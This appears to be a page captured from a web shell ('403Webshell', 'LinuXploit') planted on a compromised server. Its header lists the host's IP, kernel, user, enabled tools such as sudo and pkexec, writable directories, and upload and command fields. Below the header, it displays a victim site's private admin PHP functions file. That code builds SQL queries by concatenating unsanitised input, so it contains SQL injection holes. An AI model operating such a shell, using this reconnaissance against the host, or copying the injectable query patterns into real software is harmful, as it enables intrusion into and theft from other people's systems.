403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/xfcadmin/adm.func.php
<?php
function generateModelHTACCESS() {
	$contents = "RewriteEngine on\n";
	$sql = @mysql_query("SELECT model_id, name FROM cms_models ORDER BY name");
	while ($row = mysql_fetch_array($sql)) {
		$url = str_replace(" ","-",strtolower($row['name']));
		$contents .= "RewriteRule ^".$url."(.*) model.php?id=".$row['model_id']." [NC,L]\n";
	} 
	$write_file = "../.htaccess";
	$write = @fopen($write_file, 'w');
	@fwrite($write, $contents);
	@fclose($write);
}

function modelNav() {
	echo '<a href="adm.settings.php">Settings</a> | <a href="adm.settings.profile.php">Public Profile</a> | <a href="adm.settings.custom.php?type=2">Custom Videos</a> | <a href="adm.settings.custom.php?type=1">Custom Photos</a> | <a href="adm.settings.private.php">Private Settings</a><br />';	
}

function modelListSelect($urlPrefix, $curSelectID) {
	$get_sql = mysql_query("SELECT * FROM cms_models ORDER BY name") or die(mysql_error());
	if (mysql_num_rows($get_sql) > 0) {
		while ($row = mysql_fetch_object($get_sql)) {
			if ($urlPrefix == "") {
				$option = $row -> model_id;
			} else {
				$option = $urlPrefix . $row -> model_id;
			}
			echo '<option value="' . $option . '"' . ($row -> model_id == $curSelectID ? " selected" : "") . '>' . $row -> name . '</option>';
		}
	}
}

function getPendingCustom($xfcadmin, $modelID, $curSelectID) {
	if($curSelectID != 0) {
		$getCurrent = @mysql_query("SELECT cms_models.name as name, cms_billing_custom.customID as customID FROM cms_billing_custom INNER JOIN cms_models ON cms_models.model_id = cms_billing_custom.modelID WHERE customID = '".$curSelectID."'");
		$getCurrentModel = @mysql_result($getCurrent,0,'name');
		$getCurrentcustomID = @mysql_result($getCurrent,0,'customID');
		echo '<option value="' . $getCurrentcustomID . '" selected>' . $getCurrentcustomID . ' - ' . $getCurrentModel . '</option>';
	}
	if ($xfcadmin == 1) {
		// THIS IS A MODEL
		$query = "SELECT cms_models.name, cms_billing_custom.customID FROM cms_billing_custom INNER JOIN cms_models ON cms_models.model_id = cms_billing_custom.modelID WHERE modelID = '" . $modelID . "' AND status = 1";
	} elseif ($xfcadmin == 9) {
		// THIS IS TAMMY
		$query = "SELECT cms_models.name, cms_billing_custom.customID, cms_billing_custom.contentType FROM cms_billing_custom INNER JOIN cms_models ON cms_models.model_id = cms_billing_custom.modelID WHERE status = 1";
	}
	
	$get_sql = @mysql_query($query);
	
	if (@mysql_num_rows($get_sql) > 0) {
		while ($row = mysql_fetch_object($get_sql)) {
			if($row->contentType == 3) {
				$type = 'Video';
			} else {
				$type = 'Photoset';	
			}
			echo '<option value="' . $row->customID . '">' . $type . ' ' . $row->customID . ' - ' . $row->name . '</option>';
		}
	}
}


function memberListSelect($urlPrefix, $curSelectID) {
	$get_sql = mysql_query("SELECT * FROM cms_members WHERE status = '1' AND xfcadmin != '9' ORDER BY email") or die(mysql_error());
	if (mysql_num_rows($get_sql) > 0) {
		while ($row = mysql_fetch_object($get_sql)) {
			if ($urlPrefix == "") {
				$option = $row -> member_id;
			} else {
				$option = $urlPrefix . $row -> member_id;
			}
			if($row->model_id == $curSelectID && $row->model_id > 0) {
				$selected = ' selected';
			} else {
				$selected = '';	
			}
			echo '<option value="' . $option . '"' . $selected . '>' . $row -> email . '</option>';
		}
	}
}

function contentDirSelect($hide, $directory, $model) {
	$dirHandle = opendir($directory);
	while ($file = readdir($dirHandle)) {
		if (is_dir($directory . $file . "/") && $file != '.' && $file != '..' && $model == 1) {
			$cleanDir = str_replace($hide, "", $directory);
			$check_sql = mysql_query("SELECT directory FROM cms_content WHERE directory = '" . $cleanDir . $file . "'") or die(mysql_error());
			if (mysql_num_rows($check_sql) == 0) {
				echo '<option value="' . $cleanDir . $file . '">' . $cleanDir . $file . '</option>';
			}
		} elseif (is_dir($directory . $file . "/") && $file != '.' && $file != '..') {
			contentDirSelect($hide, $directory . $file . "/", 1);
		}
	}
	//return $dirArr;
}

function generateImage($originalImage, $newImage, $new_w, $new_h, $quality) {
	$src_img = imagecreatefromjpeg($originalImage);
	$old_x = imageSX($src_img);
	$old_y = imageSY($src_img);
	if ($old_x > $old_y) {
		$thumb_w = $new_w;
		$thumb_h = $old_y * ($new_h / $old_x);
	}
	if ($old_x < $old_y) {
		$thumb_w = $old_x * ($new_w / $old_y);
		$thumb_h = $new_h;
	}
	if ($old_x == $old_y) {
		$thumb_w = $new_w;
		$thumb_h = $new_h;
	}
	$dst_img = ImageCreateTrueColor($thumb_w, $thumb_h);
	imagecopyresampled($dst_img, $src_img, 0, 0, 0, 0, $thumb_w, $thumb_h, $old_x, $old_y);
	imagejpeg($dst_img, $newImage, $quality);
	imagedestroy($dst_img);
	imagedestroy($src_img);
}

function buildAdminMenu($userDetails) {
	/*
	 *
	 *
	 *
	 *
	 TAMMY ONLY * USERS (ADD/EDIT/DISABLE/DELETE) -> OFFER FREE CONTENT?
	 * MODELS (ADD/EDIT/DISABLE/DELETE)
	 * CONTENT (Custom Videos, Special Requests, Private Video)
	 * MESSAGES - INTEGRATED WITH CONTENT OR?
	 *
	 * BLOGS
	 *
	 * SETTINGS (Enable/Disable Custom Videos, Special Requests, Private Video)
	 * 		-- COMMENTS control?
	 *
	 * ACCOUNT - SALES & PAYOUTS
	 * PROFILE SETTINGS
	 * SUPPORT / CONTACT / ISSUES
	 *
	 * STORE?
	 *
	 * CATEGORY ADMINISTRATION?
	 *
	 */
	if ($userDetails -> xfcadmin == 9) {
		// SITE WIDE ADMIN
	} elseif ($userDetails -> xfcadmin == 1) {
		// MODEL ADMIN
	}
}

function uploadProfileImage($type, $model_id, $width, $height) {
	include_once 'class.upload.php';
	$foo = new upload($_FILES[$type]['tmp_name']);

	if ($foo -> uploaded) {

		$filename = $model_id . "_" . $type;

		$foo -> file_new_name_body = $filename;
		$foo -> image_resize = true;
		$foo -> image_x = $width;
		$foo -> image_y = $height;
		$foo -> image_convert = 'jpg';
		$foo -> file_new_name_ext = 'jpg';
		$foo -> jpeg_quality = 90;
		$foo -> image_ratio_crop = true;
		$foo -> file_auto_rename = FALSE;
		$foo -> file_overwrite = TRUE;

		$foo -> Process('../content/models/');
		if ($foo -> processed) {
			return msgSystem('Image Uploaded Successfully', 'success');
		} else {
			return msgSystem('There was a problem uploading that image. (' . $foo -> error . ')', 'error');
		}
	} else {
		return msgSystem('There was a problem uploading that image. (200)', 'error');
	}
}

function uploadImageCrop() {
	include_once 'class.upload.php';
	$foo = new upload($_FILES['cropFileUpload']['tmp_name']);
	if ($foo -> uploaded) {

		$filename = generateRandomString();//$model_id . "_" . $type;

		$foo -> file_new_name_body = $filename;
		$foo -> image_convert = 'jpg';
		$foo -> file_new_name_ext = 'jpg';
		$foo -> jpeg_quality = 90;
		$foo -> image_ratio_crop = true;
		$foo -> file_auto_rename = FALSE;
		$foo -> file_overwrite = TRUE;

		$foo -> Process('crop/');
		if ($foo -> processed) {
			return $filename;
		} else {
			return "error";	
		}
	} 
}

function generateRandomString($length = 30) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function createZipArchive($fullPath,$fileName) {

	$zipFileName = $fullPath . '/' . $fileName;

	if (is_file($zipFileName)) {
		unlink($zipFileName);
	}
	
	$zip = new ZipArchive();
	if ($zip -> open($zipFileName, ZIPARCHIVE::CREATE) !== TRUE) {
		//echo msgSystem("An archive was not able to be created.", "error");
	}

	$allFiles = array_map('basename', glob($fullPath . '/*'));
	$images = preg_grep('/\.(jpg|jpeg|png|gif)$/i', $allFiles);

	if (count($images) > 0) {
		foreach ($images as $image) {
			$explodedImage = explode("/", $image);
			$imageFilename = end($explodedImage);
			$zip -> addFile($fullPath . '/' . $image, $imageFilename);
		}

		if (is_file($zipFileName)) {
			$zip -> close();
			//echo msgSystem("Archive was created.", "success");
		}
	}
	$zip -> close();
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit